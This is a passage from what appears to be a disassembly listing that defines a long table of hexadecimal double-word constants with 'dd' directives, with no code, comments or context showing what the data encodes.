8E92DC2Bh, 5F0F4E4Dh dd 47AB618Ch, 0A40152D7h, 47D986BBh, 5C12B745h, 0FC4A7FB7h dd 405D38CBh, 436AFB8Bh, 0F8B961AEh, 0C9BFE302h, 5D50AC49h dd 28D149D3h, 67C1B954h, 0FC02123Dh, 0A537DDh, 8516FD2Ah dd 8D09CA4Bh, 7584546Ah, 0BB042DE4h, 16B7EB09h, 63943CACh dd 160DF510h, 229BD22Bh, 0F71D3281h, 0CC7FC6B8h, 798D113Ch dd 0D29D2404h, 0DB317625h, 25718C13h, 0D20BDBBEh, 583A9330h dd 0DA0C44E8h, 0EDCAAB00h, 0C3E5CB4Fh, 3B081784h, 5500835h dd 0B536E0AFh, 62F39551h, 82181459h, 6813BB7Eh, 0FB8C503Eh dd 5C449756h, 0F7EBFE00h, 9772F3C6h, 736256Ah, 9A20E85Bh dd 13C94Ah, 0A53C8BABh, 70AF1B74h, 0E9F0EE73h, 40970084h dd 23FFD95Bh, 8604E564h, 969CE869h, 1E8050ACh, 0B1C2E2C1h dd 0BFF3E001h, 43E5A258h, 0A888282Eh, 0A595BDB7h, 1F02A1D5h dd 6A2EF3BCh, 416239Fh, 0B2FFCE8Ch, 0A2EC4E3Ch, 74DAAEF4h dd 0FC01CC8h, 9342B2h, 0C28E4125h, 898529A5h, 3FE3314Ah dd 1A8B45Dh, 4C271112h, 0A38DB7E2h, 212C214Bh, 0DAA33BF6h dd 2A26AB8Dh, 0EBB89FA9h, 2883FC95h, 0BA0526FDh, 9D290291h dd 67771349h, 243C11E0h, 51087560h, 0C0810032h, 6DAF8750h dd 2C14615Dh, 0BA602660h, 0DDD72Ch, 3D7E7D34h, 0AC35D657h dd 0C7862B16h, 0FA0A22BBh, 6D258529h, 98ADDD94h, 7B013A12h dd 7850916h, 59505BEFh, 0E611817h, 80397F06h, 0B07111C9h dd 0D2EF2992h, 0AD805073h, 6104DBB8h, 0DAC07B97h, 0E68B385Fh dd 0E3810346h, 712394B9h, 0F8DB564Bh, 0C79EC187h, 3A5151BBh dd 70E22B5Dh, 1AFEC1DFh, 0BA8B7BFBh, 0D49F7045h, 7F684001h dd 0FC006B2Bh, 649F4766h, 2C759DE1h, 26CE410Ah, 0D3E460EBh dd 7007DFFh, 0E2028057h, 1C336E05h, 0C7FCC26Fh, 0D56B0F15h dd 8A5C0561h, 0D86FEBF8h, 0C5894C77h, 55732E25h, 7CF5A5BFh dd 0FB8BE250h, 81101057h, 5BA113EFh, 0FFA88208h, 52957B75h dd 0CB0914CEh, 2BC19D0Bh, 88B5D7A6h, 0F78732A7h, 4DDCA4Ah dd 917218Dh, 0FB730169h, 5DABF864h, 0A40B10CDh, 0E83AAFCh dd 9ED05DB3h, 15022892h, 0EF60C652h, 2AFA8166h, 82EEB84Ah dd 0DA08C1A3h, 7B7ABD92h, 0BB8026F6h, 55BF12FDh, 0C526012Bh dd 6C093765h, 0A16E5B86h, 9A904909h, 0F7ACA871h, 875D8D0Ch dd 51D92680h, 1C418863h, 1BEB6802h, 8709DF23h, 14268058h dd 66016618h, 8D02B8BBh, 1340E66Bh, 198801E1h, 2CDB9D15h dd 5F0ED281h, 4FC8FE4Ch, 2F981350h, 3E64BC38h, 90E4CED9h dd 79609390h, 0BAE13F3Bh, 0B5B757C2h, 0FF971C91h, 0DF81B170h dd 6226EA4Eh, 0E39F265h, 5ABA6106h, 0E0C9E8FEh, 87233195h dd 8A272E98h, 42E938D8h, 0A085F74Bh, 0B4E94DBh, 0B1639380h dd 9F09A5D4h, 0DD1E71C7h, 50E5DB25h, 20BD466h, 216E0EEh dd 9263581h, 5E257BD4h, 8127E0CBh, 9100EFA1h, 30618397h dd 29A2CFh, 0EC4113F4h dd 5F5B50FEh, 68381497h, 21F399F0h, 0F9E167E3h, 3B7BDD5h dd 0BD2B87F4h, 71DD258Ah, 0B4298010h, 0B952A6F8h, 0FB6D35Bh dd 0DB311CB2h, 4B37FD0h, 48BAEEFCh, 0C13EB838h, 8115BF66h dd 3E7BB62Bh, 5B26A5BDh, 59B787AFh, 0D5DEF450h, 3187044Dh dd 556FAE02h, 0AC128947h, 12CA32Fh, 0F2C2CB81h, 0A5613F48h dd 0C06F0C00h, 6914B095h, 6BDC827Bh, 7E36192h, 4512293Bh dd 4AE3B727h, 0A33EB68Dh, 11EF0050h, 6ACCE1E5h, 25D8989Dh dd 936513A9h, 0A82CBB01h, 782C7A25h, 0C26C91D7h, 0B9322904h dd 5F20BC2Ah, 5DE094F6h, 5401F2C9h, 0A53FD16Ch, 0BC2EA967h dd 0B589C7E3h, 4FAA1B14h, 4BD0459Dh, 0E1E135AEh, 0F0F96618h dd 589F6B7Ch, 12D3378h, 0DD52A55Eh, 0C2696CC1h, 9AAA5F05h dd 0C119D5FCh, 8A0FFAECh, 0C946FC3Bh, 51E6FF96h, 0BF50DD01h dd 13B245D1h, 0DCF954FEh, 618E4630h, 5EDDBD89h, 0F258A612h dd 78AC3114h, 9DD212C2h, 0DA4A4CB7h, 0D3648579h, 2CF1B304h dd 6A7D38ABh, 60534F95h, 96DD303Fh, 3803664Ch, 0FE9DFB50h dd 0C7E469C6h, 7FBE9600h, 1497DA1h, 0E7D59021h, 1CE12Eh dd 96585ACBh, 1EB37B5h, 0B7F95EB5h, 760A7A2Dh, 0A053C731h dd 9EAD8D09h, 0B35B12F9h, 3B914158h, 0E84E2CB8h, 3207AAEFh dd 675FB4A6h, 65E45E58h, 0CFDAAED3h, 0C0C014C8h, 24F070BFh dd 6114F8Dh, 0AB6B7DFh, 447DF312h, 4F88A2B2h, 9D895184h dd 5B8BB0FAh, 544BD99Dh, 1213B258h, 0B6B130B4h, 0B007F72h dd 17B308ECh, 0DB953354h, 0C238268h, 9F70B55Bh, 5F61D612h dd 18EC99ADh, 325E098Eh, 9077CA4Dh, 2B58F6h, 0F68B7982h dd 1EC4107Ch, 1DE90300h, 24D99E3Ch, 47A6A113h, 0A03139D4h dd 4AE9DA8Fh, 0BBE3C0FEh, 0F83E45BFh, 6DC1252Bh, 0ABD9C49Ch dd 17238F6Bh, 7A60939h, 8BAD32F6h, 92347E75h, 2D6A290h dd 916C14CBh, 1E82DB16h, 3633C204h, 835D505Fh, 0BAF9C78Ah dd 81B8B790h, 7B8F0E82h, 0D4DE3A7Ah, 14760181h, 47D9FE0Fh dd 0AD96D385h, 0D56AB3C2h, 0E653D718h, 6804FD82h, 0C0830408h dd 4F8EB6DEh, 47015169h, 0D591A2BEh, 1077C661h, 0D6DBB74Ch dd 44CC45Ah, 0EE27C5B8h, 6A4B61CBh, 0ED770444h, 9CC4D5BAh dd 66BF8060h, 789B25DCh, 3309EE66h, 0DD0D21BDh, 1B91699Fh dd 73EABD80h, 9D160E80h, 73B2C6CCh, 3496F00h, 820F7A42h dd 0F9A77BBEh, 575464A4h, 2130A08h, 50F5026Ah, 1800BC46h dd 0B3A269F0h, 0B53567B1h, 0B4092DEh, 0BF32CF40h, 0BAA1D579h dd 2EDEC626h, 0CB1F9EB2h, 0B73351DCh, 0C6ACF4E9h, 270A39E7h dd 4225F41Eh, 0A15F5BF9h, 60B8FB23h, 4D4E9D01h, 0D0815200h dd 13C5F670h, 30506174h, 686C9DADh, 5CB0D600h, 2D2C98B7h dd 0DDF50087h, 1E05529Ah, 3C94A892h, 2E28A721h, 0B7C23095h dd 0A4B195A1h, 80752B66h, 0C3D88840h, 7F615B53h, 99B72C6Ah dd 2E550B8Dh, 23B4B8D7h, 852D73BDh, 2234F4A6h, 1754E8Ch dd 18BA9E7Fh, 3DB19D8Bh, 29B02481h, 0D30C718Bh, 0A0F62F3Dh dd 9170E650h, 8531815Dh, 3E4BC2ECh, 3911D3ACh, 87068C26h dd 4A8DFC09h, 4F1BB323h, 0F81720ABh, 0D5259D29h, 27205B26h dd 4A70BEFCh, 1F50000Ch, 0F162DFA6h, 92C9169h, 0CA3114FCh dd 242B21DDh, 1A50AAB8h, 80037F24h, 67427E48h, 0A7D7F84Ch dd 0C030153h, 89C96EBBh, 2A492E95h, 2B95305Bh, 0E3604FC8h dd 26AF4B2Ah, 19203824h, 0A0615A28h, 0EA11C36Fh, 0C54E83E9h dd 857C88C8h, 0BB4C4438h, 31FC645Fh, 128EF2BAh, 0CAEBFFB7h dd 0DCD04E85h, 2C08F380h, 694955E9h, 544AE257h, 622967A5h dd 0B15502E1h, 0AA143A10h, 0B2AF0E75h, 0C122000Ch, 579FF0BEh dd 17EF008h, 0A3E81696h, 2E1EA98Dh, 9DC266ACh, 84080145h dd 0BB1D6D20h, 6A9250DEh, 0B40BA8B6h, 0B2F4EB63h, 896E00DEh dd 75DF2FF5h, 0A4925954h, 0D98D011Ch, 7E38D62Dh, 0CE11A70h dd 8E1C0641h, 0D8322277h, 0B0FFD6E3h, 1F3DC2E2h, 3A78DD73h dd 27168F04h, 5AF6EA3Bh, 82B9D804h, 2BDEAE0Fh, 0ABEF2285h dd 23C9EA05h, 60FCE121h, 6029B5E8h, 0DBB86D15h, 23FB61E8h dd 0D04D02F7h, 7DCDDAF9h, 61086BD3h, 0A25B1204h, 0BAF81466h dd 31BF0206h, 56648293h, 865D89Ah, 40B3EFB5h, 3E68A4CFh dd 2CB78A4Ah, 503C4FF0h, 0D0196F0Bh, 0AC775B55h, 9227D6ADh dd 0B05CD0DCh, 56BA27D3h, 26E93557h, 0E0B4E492h, 9795FE58h dd 5235A5A9h, 0F603AF3Bh, 16D52788h, 2C6C6BD1h, 765B7FFh dd 9B833A0h, 25F607FCh, 0B151FB4Ah, 90D9E200h, 3091E0Ah dd 755AE68Bh, 13A83261h, 490B963Bh, 5DF5CFD4h, 0CA9D1E31h dd 0F4B50118h, 715E972Fh, 9704EC58h, 0F6D0A473h, 89F72474h dd 3C5E2DE4h, 0EB5C4B5Bh, 7900906Eh, 9D5F2549h, 6824F153h dd 0C20936E5h, 465E5998h, 4D9C6B6Eh, 297EEC00h, 810AF595h dd 0ED6E3B60h, 14460F02h, 645696F9h, 71D2D32Fh, 7B4C4EEh dd 4BC96405h, 9ACC8B3Eh, 98E30036h, 64DB6648h, 627E25Dh dd 95B0DDBAh, 7D4AB529h, 0A1A821EBh, 39BC2A23h, 0CFABA5C0h dd 2270AD77h, 1CF4D400h, 90230BB3h, 0BDD35E14h, 1C77ECC9h dd 79E00893h, 0B48D2792h, 27D2D0DCh, 0BFC68CEBh, 66389825h dd 9F7E8A0h, 6B77CBC3h, 2A1DAE82h, 0BBC75004h, 88DEAD08h dd 1225E2ACh, 5CB25F5Ch, 3D8FA77h, 0CC508C68h, 380C81AFh dd 5252B373h, 0BB10FF80h, 2DEE90D0h, 0DBF8602Ch, 0AF277A60h dd 0AC9D002Eh, 0E70B87D3h, 0EA02722Ch, 8B4FAD12h, 0BE4D7761h dd 83621464h, 971DC82h, 95D46E57h, 8E21EEE2h, 6F0252E9h dd 7580FC9Eh, 2E7BA36Eh, 0E1B4E09Dh, 0C4DD8A20h, 0E0D39558h dd 0FB181959h, 7296B204h, 19BFD11Ch, 3EF906A9h, 39A9FEADh dd 0EBCD8A3Eh, 7520C909h, 0CD2DAFE5h, 0B4694B4Ah, 0F5BF41F6h dd 0BB23B2Dh, 4EAC81D1h, 0A5738501h, 6893693h, 8107DB7Ah dd 8C0F02F6h, 7976E379h, 600DC48Dh, 0FB62AE61h, 278E4683h dd 0BD6D0446h, 77C54BC0h, 0FB9204A3h, 4014E9CDh, 7CEEE6D7h dd 862100A8h, 5DE7626Dh, 2500FD73h, 0E644128Bh, 7CBB67CDh dd 142C2DD1h, 96938FD9h, 0C09F6333h, 3F36F1D9h, 0FF80A49Ch dd 0C283321h, 81003C2Eh, 0BF8864E8h, 0F95EA61Eh, 511DF03Ch dd 0D65B5D57h, 0E1A3B696h, 0F03B3AF5h, 568A4594h, 1780691Fh dd 2B6809ADh, 0D0CD6F12h, 900934BAh, 5194D41Bh, 9F62F4Eh dd 7539DFE0h, 14EE8E00h, 0F6FC32BFh, 55749752h, 0DD0113FEh dd 0A9218860h, 0C6B1B00h, 58B95603h, 23906B7h, 0E6506159h dd 9F2ACA26h, 19B19D41h, 7F2D2D2Eh, 0C400F96Ah, 0D4CE7398h dd 52D556Ah, 9837FDC7h, 0DFD87801h, 2D2E2164h, 34BC3B3Eh dd 0C015E680h, 44B5F2BBh, 95F8009Bh, 5FFC12B3h, 0ED02572Ah dd 756B429Ah, 117A6008h, 2B5B8123h, 0E1617A28h, 0C51B880Fh dd 798FACFh, 413DB801h, 0A1E9201Ch, 4865499Dh, 0B2EBE72Bh dd 898298EAh, 0A38A0B66h, 0FCC22177h, 9D959AD8h, 0F6CDD290h dd 0E7F0D660h, 0FC520E7Bh, 37B21Fh, 5304DBE5h, 0EF12B1BBh dd 78E225C0h, 0D844A588h, 9586962Ch, 871E43B5h, 1830D400h dd 6113DFDDh, 67C79482h, 0C8AD3EF3h, 0E206B6FCh, 60DC80B1h dd 56E31D58h, 0FED700B7h, 615A8E7Eh, 2EEDCFFEh, 0CC7A7E71h dd 0F24F6619h, 69945CDDh, 18DFEAA9h, 0A0BBD749h, 33B8ABh dd 0EEF49E71h, 99239E2h, 8584974Eh, 5326AAACh, 4D366055h dd 17FD306h, 0C49D92ACh dd 21E73B78h, 4C7B6900h, 37EDE2DAh, 0DFD85261h, 0DC2A5B7Fh dd 0FD5A8A92h, 93A8C6B2h, 808985Eh, 0B1B2423h, 39560855h dd 0E56E24EDh, 19BD2E5Eh, 1F9B1AA8h, 5EF2DB00h, 5E0CFD98h dd 0A941A26Dh, 1200FE8h, 19812F37h, 47437422h, 5ECB719Eh dd 0C280304Ch, 0BDB044Ah, 72FCF781h, 0BBEBDC1Ah, 8FEF3F0Bh dd 2D12770Bh, 5725F756h, 0BA785812h, 80DB9895h, 49D8BDC3h dd 0D6A7B85Eh, 5D6C047Eh, 0E2F4A5BAh, 0E2A20071h, 0BD2F8365h dd 0D06E3990h, 9D87BBBDh, 0C14C38h, 6A5B527Dh, 0EE57EDB5h dd 7A5E403Fh, 6259A6C1h, 0B140DDB6h, 4B4F7192h, 414DF5AFh dd 2604BE44h, 0EB800B5Eh, 20DFCE8Eh, 5012024Dh, 85509EB3h dd 1EF70AC5h, 514B20BBh, 0AAA503D9h, 57C8ED14h, 0BD2F5222h dd 25AE7495h, 0EBDA46Ah, 0B7827FA7h, 0E440BF78h, 890DAB2Dh dd 560B618Dh, 2B3B8C2Eh, 11E99D5Eh, 0A6C6BD5Ah, 0F1EF1DCEh dd 8BF31DE1h, 280CCAB3h, 62FF0FEDh, 0D4C14ED0h, 0D0527D5h dd 6A5FD1A2h, 3E01C398h, 0AFCEDD8Dh, 9A2F4E29h, 654D8158h dd 69DD3764h, 1CE2C836h, 684CF532h, 2994C40Eh, 56092B85h dd 0FEF0EB20h, 74F8274Ah, 911F4CE2h, 0D7628019h, 5EF87003h dd 0B36F12F2h, 8EDE5C86h, 4BFB2090h, 1C5D3BB0h, 0C038F67Fh dd 9CA68A7Bh, 8C0B24F4h, 0A1C6E234h, 645BD29h, 502FCF2Ah dd 20646DF3h, 2DB85565h, 8060DB5Eh, 0BE944B4Fh, 290A006Dh dd 8B64BFACh, 649731FAh, 0B7C1F094h, 260089B7h, 94AD292Dh dd 0C4E0268h, 8B66FF14h, 0DBCB615Ch, 0B9841747h, 0A57F8237h dd 3876CC90h, 0E580ABE1h, 1E9A51E3h, 0D805C399h, 0F2835240h dd 8F149EEBh, 8931E02Ah, 5BBBADC6h, 42C6F6Ah, 0EE95178h dd 0EE08E140h, 2C009DAEh, 0AC6CC180h, 69994790h, 2037602Ah dd 7D91F580h, 72178DF9h, 1679017Eh, 30AD51BBh, 33AF4108h dd 57B02AF6h, 0A3415A9Dh, 6CB700C9h, 127CBF90h, 85144E10h dd 61E08B3h, 9754FEAFh, 0F640AED2h, 0B38FBB66h, 9690FE5Ah dd 0AB02DCC1h, 534AC79Dh, 74DE60F4h, 0AAF54AAAh, 1003AB6Fh dd 0DFE46BD3h, 0EA91E1A9h, 4F1188D5h, 9AC900D6h, 29B83E26h dd 525CF88Ah, 0B082C195h, 5BD1BA68h, 0E1D6342Eh, 9655C2DCh dd 3B359D9Eh, 0FF5D402Dh, 0EAFE9FD1h, 737E4Bh, 364C9794h dd 0D2C4AC1h, 470F0B39h, 71D9891Ch, 0BA8944ABh, 76C1E09Eh dd 7BAD38E4h, 0B2EAB224h, 6BA9966Dh, 6E3DE70Bh, 96F502DDh dd 74490BD8h, 301E30D6h, 0D9CE5E00h, 3FDF1934h, 0D240923h dd 4DFFB9E3h, 0B4FCC954h, 0BACAF4A6h, 27B07569h, 0FA3C616Dh dd 0E44D8429h, 0CEEEA2E9h, 993D2499h, 0E248ED2Dh, 140BFCBh dd 1197800Fh, 0DB6ADF02h, 71FA8043h, 164EC27h, 8DD3329Ch dd 1007E9D9h, 941AAE0h, 0FD82C725h, 95C5B256h, 0EC9054BFh dd 2AB2A15Fh, 0FCA2BEB8h, 0A40C6ED7h, 0AC79B776h, 21206F28h dd 8C5F4B17h, 6A78F9EAh, 0C079CD97h, 39A23F58h, 5A10D209h dd 2C155E7Fh, 2772D0Ah, 5C51B39Fh, 5202C4FDh, 88E5C9BBh dd 1C06B99Eh, 70E600B0h, 1952957h, 0D5E8095Ah, 0A9569DCFh dd 62DA88FDh, 801804F5h, 0A8614AEFh, 95B5C234h, 0DA8A0208h dd 0FE17C85Ch, 11A2D1BEh, 0DF81002Dh, 0C3B71294h, 60D0E01Bh dd 100BC7F4h, 7934541Dh, 9A94005Ah, 23968503h, 200EED00h dd 0F9D5333Ch, 2B61105Eh, 0D939C8h, 0BCC381D1h, 2F1603E0h dd 0DEFB7EE9h, 4C508501h, 3C204755h, 6E7D8A09h, 0A9FA4A5Bh dd 0C1BB0918h, 4190DDF1h, 448C0D65h, 56A1E91Ch, 62D2EC72h dd 2B362600h, 599BA930h, 3BD99D4Dh, 25E9D4AFh, 3109D36Eh dd 0DD1F69BDh, 8B253B9Eh, 5D5CCD8h, 0CAED65BFh, 6DAC1074h dd 0AD0B845Eh, 733685B6h, 8B609EBAh, 0BA18F57Ch, 452E785Bh dd 4F2FA094h, 7AE249E3h, 42F75089h, 0E67355CEh, 1C5168F8h dd 250F0DB9h, 7F119A5Dh, 0E59DEBA2h, 37FFF74Ah, 620D80E3h dd 83A65B47h, 4540B696h, 735571F8h, 0DB0713DAh, 0FE118457h dd 5D1C2960h, 7D3C00AAh, 1E87F036h, 5E00F87Ch, 75CD5C86h dd 2C290DBAh, 0DE44D22Bh, 0DD400905h, 9BAEF877h, 84B7EA6h dd 73C66FEBh, 0F26B6F8h, 5045AF8Ch, 9C0B6B90h, 0E610975Fh dd 349890Fh, 129FD3C0h, 0EF4C9EC0h, 3F0536D2h, 895216F0h dd 530012AAh, 579AAB72h, 13A2B692h, 9A322B2Ah, 0F5AC7850h dd 85F38E6Ah, 5DE033B3h, 0BCAC5EB2h, 5F3FB2A3h, 0F7F6AFB8h dd 0D51EEB2Fh, 6C202EAAh, 2EE3154Ah, 820F8330h, 7FFB9D11h dd 33F7CE80h, 7BFEBA6h, 5086416Dh, 1D01A5Bh, 0FF0108CFh dd 31097AE1h, 17E7551Bh, 700A53A5h, 0F801A91Fh, 0A026BFC5h dd 292E7159h, 2ECC219Ah, 7327417Ah, 2EDF8B61h, 0E97D9228h dd 897D9E2Fh, 6017B1D1h, 0CFB83269h, 0AFA1C101h, 37DD80B8h dd 9BF26ECh, 1CE700Ah, 8102B370h, 2B653DD3h, 255B5C7Fh dd 75C17AEDh, 0B880A0F7h, 0FC8A760Eh, 0BFB05750h, 710DA520h dd 0E6469F5Fh, 126CA395h, 0DBAE8501h, 0F90AC049h, 0EF606CFCh dd 4035E820h, 2B85B21h, 72981212h, 0BF2DF5A7h, 23CE953h dd 29B13C34h, 8A60FD90h, 4B1DFEB9h, 50876EBCh, 8BD279B3h dd 0D27357F9h, 0BC41897Bh, 267E087Ah, 9BE6800h, 0BBB0E21h dd 14C45440h, 411FAAF8h, 0ED253E0Ah, 4220C081h, 0C904E5A9h dd 5841C7EAh, 0A29EE6FAh, 2254C19h, 55AC9FFFh, 794180F7h dd 0FC992AFEh, 64922340h, 0E7A651E9h, 0F4E8B63Eh, 2153A9Ch dd 0B5295325h, 0AE5C1CD1h, 25EF76ECh, 8CC2ED17h, 60E86F57h dd 0D02DD7BCh, 78FD992Fh, 8B1B4B22h, 0E79A4B91h, 9E9DC080h dd 4A16BC48h, 0F046CBAh, 94B92BA5h, 64A2BBC0h, 89271D83h dd 0B774F006h, 0ED55D289h, 0F4534BBDh, 9390B800h, 19425B73h dd 8650B662h, 0E4522A61h, 6E3E78B1h, 0F570E4Eh, 0C43C819Dh dd 0F57FF58Ah, 1427E09h, 5D17A9BDh, 0F542AB71h, 8C7D703h dd 620676ADh, 0F3558A0Fh, 4B2D803Ch, 116F1832h, 83306501h dd 0CCB77008h, 204E783Ch, 4955C687h, 74F2A917h, 8BA609BBh dd 6E09AC4Ah, 5BF94283h, 1B4B52F3h, 0BBCD30ABh, 0E72702E4h dd 0B3B78318h, 2C666659h, 0F49554FBh, 5C97F43Dh, 20D42B9Bh dd 63D209Dh, 0EB806109h, 3DE7D565h, 0B855CE04h, 0A7B65CC1h dd 0A239BC3Ah, 0BA3D7536h, 79AA4881h, 60303E23h, 0E91C40C5h dd 0F272662h, 61D8DE8Bh, 2BEE3BEFh, 0AFE4A13Ah, 40EFAE20h dd 0BE800343h, 0CB2C0EA1h, 29F951F8h, 0CD9DB125h, 1058C3C5h dd 16D5F282h, 7C254957h, 1C86E5Bh, 0D46E0CE8h, 847BF0CAh dd 0F4FB2C89h, 0CDA855D3h, 0B799809Fh, 0EDCF012Fh, 57E1024Fh dd 23726B7Bh, 5C6D0E1Ah, 26410DA1h, 0A2342BEBh, 4A42B2ABh dd 347A2D84h, 0EF22B00h, 0D8A596BFh, 2980F291h, 71207969h dd 2052906Dh, 5B4A05F9h, 0CB78BCD9h, 31B50983h, 0ACE316CCh dd 80B9B24Fh, 0C16D20Fh, 4B46047Ch, 0AE4C561Dh, 2DB41F20h dd 7D06007Fh, 6AF43A08h, 9A02F175h, 0E3349BBEh, 5FCC4016h dd 5B21955Bh, 582BF7BBh, 9995F8BAh, 0FD2123C2h, 1199BDEEh dd 6B39801Dh, 1D67A3BAh, 0D2AB2107h, 29C2B57Ch, 4AD3E84Bh dd 1EB58856h, 0C734EF00h, 9E139BBBh, 0C9410466h, 0AC5BC6AEh dd 0DE8AC5ECh, 0BCA30E84h, 873A204Ah, 6E02CAB2h, 6DED502Ah dd 13B05677h, 0E9FB3060h, 2500B494h, 56F844DCh, 2D6D35F1h dd 0A7F1E08Fh, 58615A89h, 623795A0h, 6EEBA700h, 9532F79h dd 56B3E84Bh, 0BB81BC59h dd 45D3C71Fh, 0B2A6B63Bh, 6CAA3114h, 85F6800Ch, 12AFC66Bh dd 0AA6A8197h, 7D070B6Fh, 0E0E773DFh, 0D321EA5h, 0F98A3117h dd 48E0D301h, 0DD6A3FF3h, 33A33E95h, 32FE5B78h, 0E0F9F5CDh dd 0BB5B6A80h, 0EC9907CFh, 0A9C30438h, 823F52A4h, 0A6C0512Dh dd 5B4B129Ch, 0F605AD0h, 12FA485h, 93F2D981h, 2B6136F5h dd 0DDA062CAh, 0D000BDEFh, 54232FC9h, 2285315Fh, 8B252CF1h dd 24FB66DEh, 25EEBD29h, 6011CA47h, 3F62C94Fh, 5F08CFCh dd 2E5F8690h, 8E014CE3h, 987C3E82h, 0A30B50BBh, 317DDF4h dd 1C502E36h, 0DEA9D791h, 78277AB8h, 430784Ah, 1B2163BBh dd 0CDAFE132h, 0BBAC446Ch, 0CEB088F7h, 0FA1F750Dh, 618BDCE5h dd 2D64F3h, 6DE772A3h, 7CCE4B39h, 6E258878h, 6436CD62h dd 0DD926214h, 94DF8889h, 4E40B2C9h, 0B4A6EC31h, 57A8CBBDh dd 0ED291497h, 0E1278216h, 0EB7E7630h, 0D2ACB5D1h, 5427610Bh dd 2C604633h, 39091D31h, 0CF2A61F2h, 0A6B65A69h, 0E5C8C1A7h dd 2D8347E2h, 417441FBh, 58130501h, 309112BAh, 53AEAC2Ah dd 4B41580Bh, 0D90D5536h, 97E27AF4h, 80FCDB92h, 6120C96Bh dd 471F1677h, 23B8A650h, 0BDFD2F89h, 0BED200B5h, 94733E83h dd 9B134609h, 8546180Bh, 50C404D2h, 0FFB2F2A7h, 0D105B2E5h dd 5F01A2AAh, 96D96681h, 70008A73h, 2AAB7A68h, 732D342Bh dd 5737D561h, 3E862081h, 0AD40DD98h, 0EC04F7h, 952BBF05h dd 0C08363CDh, 7801FBB5h, 509F4BD8h, 9D012514h, 907882DDh dd 0E45B5560h, 56AAAF00h, 73A125B3h, 0CA30FD2Bh, 62EA7572h dd 0F88B2E50h, 0F5F999CCh, 0C07A5A90h, 0C00A6A83h, 40FB9766h dd 3D730AD0h, 76A03DA0h, 64B2605Eh, 0C0BBF84Fh, 0A4D2A550h dd 317C0F4Dh, 3E0B929h, 5BD9FEA3h, 41B076BFh, 3A61C88Bh dd 15A851B9h, 9E016FA4h, 2F2DBB88h, 0A62A7B7Eh, 0AE872744h dd 5D82CBF2h, 0E699176Eh, 41E5B183h, 0C5BFCC4Eh, 25BDE86Ch dd 11FD65F8h, 95290950h, 6A24A24Dh, 7041FB02h, 0F0B6812h dd 0D090DABFh, 50563816h, 0D368ECDFh, 90DD61EBh, 2AFE65F5h dd 0EC9265A2h, 251B20E8h, 0A45961E9h, 0ECF501C7h, 0F80444E8h dd 0C40B657Fh, 5AA4FB59h, 0F5F56BB5h, 46D6F8FCh, 23860B14h dd 1DA5DFBDh, 8089FC50h, 0A2CB06F5h, 4E6B02CDh, 0B9C29A6Dh dd 14FE426Ah, 399D276Fh, 0C394D70Bh, 80B13095h, 4E45AD7h dd 0BF8C1D76h, 8BA043CAh, 0D0B757B0h, 7F2A4153h, 6EAAA885h dd 0AF900042h, 73AA7A31h, 526927C0h, 3FFC907Fh, 0FAC93AD5h dd 526B269Fh, 52F255h, 0A46D0876h, 0E5EC96h, 8926BFDEh dd 7F0D883Dh, 1558C9ECh, 2AB117C3h, 21F7ABAh, 0B81F4286h dd 0D50D4010h, 1B25250Ah, 0E4AD0D8h, 168817E2h, 0A09596AAh dd 7BEF8011h, 0ED715EE4h, 0C995254Ah, 210CFD0Bh, 53252643h dd 2400B659h, 32428B75h, 0A412689h, 489400CDh, 935E0FC2h dd 5F62999Dh, 8909BC2Ah, 5F640B53h, 0C14899E4h, 574D258Ah dd 0C4460792h, 30C8C900h, 98A4BFECh, 2B009753h, 5091EF81h dd 526F822Dh, 77E710A7h, 6C884A22h, 0BB3B0726h, 0B9CC9A6Fh dd 0F2BFD690h, 5C5C3E7Bh, 4E491C35h, 0F9864419h, 0D79155C2h dd 0D8C66A52h, 165B6915h, 0BAFCAC04h, 0B508D2E3h, 611207BDh dd 880C23E4h, 0C825BB66h, 413AFE9Ch, 19DCCB80h, 0A3F32Eh dd 7AD3F14Ch, 1FCCE4h, 676AFE42h, 0B50980A4h, 3792C712h dd 0BBF79CEBh, 4A426E09h, 4BB87F20h, 892AD9B7h, 0BD107395h dd 0CD4A014Dh, 2E602BDDh, 0BDEB8243h, 49E09CEDh, 459D098Bh dd 28233Dh, 8AF0A31Dh, 5CCAA8Dh, 0C9E4CD65h, 817CEAE8h dd 507C975Bh, 3AFD2660h, 0B9620997h, 0EE8738C3h, 5A3F0073h dd 5E95D5A4h, 0F59D6109h, 82B9030Bh, 70BDF510h, 0B4624801h dd 0CA3C76BBh, 8914FC4Bh, 7078DBFCh, 8E5AFE7Eh, 2E12F902h dd 0DCDD76FCh, 454E1302h, 0C0742BEAh, 98E34D53h, 0C25154EBh dd 0CB129729h, 86763F7Fh, 0B42EC731h, 0BDE9CF01h, 0A35282BBh dd 0D7346AE6h, 10D20446h, 0E1D65DB3h, 3F1EEC24h, 0DEC6298h dd 0BB336181h, 0C0E7448h, 0E323256Fh, 0DB97111h, 0EC557D88h dd 4C3D05E5h, 0C44E1654h, 4528AFE1h, 284F00B4h, 0E203A9C8h dd 8D25DC7Ch, 0BE76CE5Ch, 62B5D4B5h, 0C15B7D21h, 1C261C59h dd 9570AB4Fh, 0B2958D01h, 0CB810203h, 0A8AAB32h, 956705Ch dd 20DDBD2Bh, 0E086EDD5h, 573A316Fh, 7E77B325h, 0E2DE12D6h dd 75EC9293h, 4F6EAB4Fh, 61630301h, 2F14F310h, 0D317C04h dd 6A20699Dh, 8104E301h, 2EF08ABEh, 8404B335h, 0FF022D1Dh dd 0E66C60E1h, 0E9BD092Fh, 0A22AFCEDh, 0B5A7CD3Dh, 24C2B241h dd 0B188282Eh, 0C0D05C97h, 68997582h, 3250B19Eh, 0A83004C4h dd 0B8B4D215h, 2B55A281h, 25403EF4h, 13380BEAh, 0AAB7043Ah dd 0A4BB8465h, 60495F91h, 51C44ABEh, 7C6EFAh, 0A0377BAAh dd 9741B011h, 677B6D0Bh, 2573FE70h, 0C1D929FCh, 31325725h dd 177066DBh, 0A89A0513h, 0BCDA80BFh, 33AB5AEFh, 0C8A9D50h dd 0BC96EE5Fh, 3E584059h, 7200A17Ah, 50C9BBCDh, 0A0B57F32h dd 0BC909A8Eh, 0CBDD4053h, 6400E753h, 2F16C7A9h, 0FCAC1B6h dd 7B6B88DBh, 53A68833h, 0B574A5B8h, 0F494A901h, 3B2ADB5Ch dd 0DE6FB03Ah, 0C921905Dh, 52415DBDh, 699B6B6Ah, 698706CEh dd 8D27001h, 0DB008129h, 1CAA6D5Ah, 253EAC68h, 8FC02551h dd 4E773D53h, 0AD2D8EB0h, 504E5E1Bh, 75BA1BDh, 0F80B4E9Ch dd 0E8225A31h, 0D5CBA7E4h, 